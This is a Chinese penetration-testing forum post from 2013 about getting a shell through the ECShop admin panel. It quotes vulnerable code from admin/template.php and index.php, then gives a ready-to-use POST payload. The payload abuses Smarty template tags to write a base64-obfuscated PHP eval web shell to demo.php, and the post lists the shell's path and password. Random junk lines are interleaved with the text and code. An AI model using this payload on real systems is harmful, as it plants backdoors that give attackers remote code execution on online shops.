中国网络渗透测试联盟
标题:
Ecshop后台getshell
[打印本页]
作者:
admin
时间:
2013-1-11 21:33
标题:
Ecshop后台getshell
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
4 H6 q: r& d3 O
V" v+ Q8 w& L$ l, ?/ K5 W% J
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
; q3 y( |" w& w$ _2 D r' Z
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
, {! Q( V# f' N9 B8 q
admin/template.php
- I9 j( M1 X, X: | } D( F
- u2 X3 p* v0 T* d
1 if ($_REQUEST['act'] == 'update_library')
) X! Q. ~; L1 O" U+ x& z& [$ Y
; `0 |: k4 Z5 a7 c6 X7 \
2
+ i' R# s- K8 M2 N; t9 `
. C* F5 _# Z; H
3 {
! A. y( a" E. B/ k
M: w( x0 g3 }2 D! ?* q0 }# _' v
4 check_authz_json('library_manage');
( ^1 Q$ P6 x0 r
: L( m- s1 W1 e8 ^
5
. L9 H1 z, u1 ]0 |
& K5 n( @ f$ G v6 r
6 $html = stripslashes(json_str_iconv($_POST['html']));
" T+ f/ Q5 ]5 E3 F" I1 Q
7 D9 A- |/ q- g) `/ C
7
1 o$ \/ w/ P% M4 v8 a1 A
1 [, s" F1 k2 q. B2 X, [- m
8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
5 F! F8 k( T% |* c! v2 l% E
) k- H# Y* H# l2 i4 j
9
- D# K3 ^! @6 E: A _+ j
+ I& U Z8 x: k/ u+ c5 }
10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
* Y, A3 c* i! n- a
1 `: j% [2 r% W4 M) c- c; N
11
( P, N- E. r- m9 c. t
: U8 X5 _. v2 E( M
12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
; \* w- n' ^4 w* s; x
( U( v- W: [9 C. z( w# o* }1 \
13
& h0 |3 d# X U% N9 i
. C @6 P4 A/ Z* z
14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
) V+ R: R0 h" f- y/ h; R5 r$ i
9 Z, U9 ]$ P0 n* H
15 {
3 v3 X& _: D p% O
R0 e; B" b1 b" q
16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
0 G7 m- ?! ]( W* l K$ \/ H, y" p
0 V3 M+ v6 x' c9 }
17 make_json_result('', $_LANG['update_lib_success']);
. L( A( \8 ^6 v6 b
: i) b: L; m0 L; o0 e( X
18 }
: {$ q6 V I7 r/ M
2 w5 _7 N* R. ^' H" l4 x% G
19 else
' G/ D5 a% _+ P
, @! x2 [0 ^* K3 [
20 {
/ U1 _/ \5 X$ e; q; ^$ n L
; j& `. q. t$ S/ O. O
21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
- u7 z9 j. O8 F$ F9 t3 h( E7 P, `/ A
/ x3 I. ~$ }: E: A6 n$ [6 `; P
22 }
5 ^ F) T' R+ i' C1 ~6 _" u9 t9 o
' ?( ?4 S2 K, n
23 }
# T& T- t2 v7 z. W- }- ^
: Z1 h3 ~, e, [% j/ A5 P
那么找个比较方便调用了模板的文件
% i! Y7 z* o1 t5 J# @# L
index.php
' m1 a8 z7 e6 w5 h# W' }
1 h8 `4 S- {3 J$ ?2 L
1 if ($act == 'cat_rec')
7 k; A$ K* b% Z T, [3 S5 }
, u: ^4 U& G2 v7 z) ]
2
6 l3 m9 w+ G+ }
7 W2 p% Q( ^6 ^% I+ S
3 {
; }4 x( |9 J! B2 `7 D2 R' Y
7 N, l2 Y5 r$ r% x
4
2 C; k7 y) U; A" d4 e
6 V ^, q, R+ `& z! r
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
% |3 T' \% L) y/ r
; p( W; f# `+ Y5 |
6
4 y1 ~: K. x. ?. V% N0 B+ o- a" V
, m( O9 S2 G% c
7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
& i" _- s; M1 ]4 i' p) s+ h
$ e0 H& D, q3 r" P7 F
8
' X( a, ?4 p) Y/ q2 N1 G
1 n& A5 } |; y. U& ?' k
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
4 x' o t, ]' @0 F( b( {
) {$ B0 n7 X# z" ^
10
) s# S$ ^1 W; v3 Y4 h' J
R/ c8 x- T& h" ~! O, h
11 include_once('includes/cls_json.php');
; E9 V* L" E! [/ Y
; l" Z# q: t; n/ G: v1 }
12
3 K( x* N8 E! i/ T
3 F" B6 S: N0 l: v1 }" x
13 $json = new JSON;
( m: `8 ` N& _. p# i
- b& v* V/ o& K, r6 l
14
9 E$ W: X, N* @0 N4 T# _
1 U& h# h' n$ b8 X6 e
15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
- u" E; D l/ {0 s# P
. e; u% d, }7 n% Q* M7 h, ?
16
6 B/ [& {# x0 l, K% P
& h- D, l3 a! ]4 _3 z* W
17 $children = get_children($cat_id);
9 t5 `7 z3 ]: r6 Q4 S- e: e
1 `" B. r+ @# S! S
18
+ o0 k6 D) o" O
/ } V9 q9 G9 X$ v
19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品
7 u Z/ Z3 r& n: E0 P
+ P5 n! N% H$ H& N+ s! u# c
20
1 G4 a/ N, S$ u% v0 N# I/ [# c
. h$ \. Z- }( N2 ^" @
21 $smarty->assign('cat_rec_sign', 1);
# D% x' U6 u% T3 \
' R& D% }% E7 f" w- q F
22
$ m. P6 b) P& n
3 _% H* m* p2 T; d
23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
7 I( j& S, G& N6 `7 R3 l: @# S" i
8 E) m, x/ Y( R( F/ E( s
24
. w" S) u. r/ m3 P* c5 O* Q
+ W/ Q9 y8 ]0 `, Z% `; ^
25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
, f; Z$ O7 I& x( r
) M% f1 f) q+ F- \
26
1 E# |) O! @2 N
4 {' m$ u+ @+ y$ t
27 echo $rec_array[$rec_type];
, Z2 f( r* W8 y2 W( k( U0 Y( L
/ S, N# x) L( H; Z8 @4 a
28
8 `# c& i& ?0 v; ^2 A
1 Y( w N( j1 y; H
29 die($json->encode($result));
2 T- e, }5 L* [% r( ?# I" a. F
; T4 q% k1 u' \% A! ?& n( R. r
30
2 j9 z' _7 e8 L6 D# F0 I1 j& u
$ L9 }/ g3 i. Q
31 }
$ J8 L6 j+ \ C- Y" U" C6 Q8 r% ~/ ?
7 S+ t X, @9 A% ?2 c' a
那么就有利用方法了
% P7 r2 V2 d. a% {4 W, P1 R; Z
post包到http://localhost/ec/admin/template.php?act=update_library
! x! e. ?7 C/ O$ U. k* \' m
Post内容:
- S7 s- b: g/ C6 E" p1 m
" E7 \' D* I" y& {/ z2 \8 `
5 v0 I5 ^" ~7 P1 B$ e
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
* c' T5 X Y2 f3 }# J; F( h
2 p& p5 P* Z$ Q8 ]$ C$ W
然后访问http://localhost/ec/index.php?act=cat_rec
9 U4 o% [, }; a/ H; h
2 R7 B+ R% V( A2 }5 z1 i1 ?2 H3 S# I
shel地址:http://localhost/ec/demo.php
+ o9 G6 O8 U7 h% F$ `
密码c
' c7 S4 g3 k/ t* P Y5 L
1 T+ t H& a2 Q; t. v& C
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2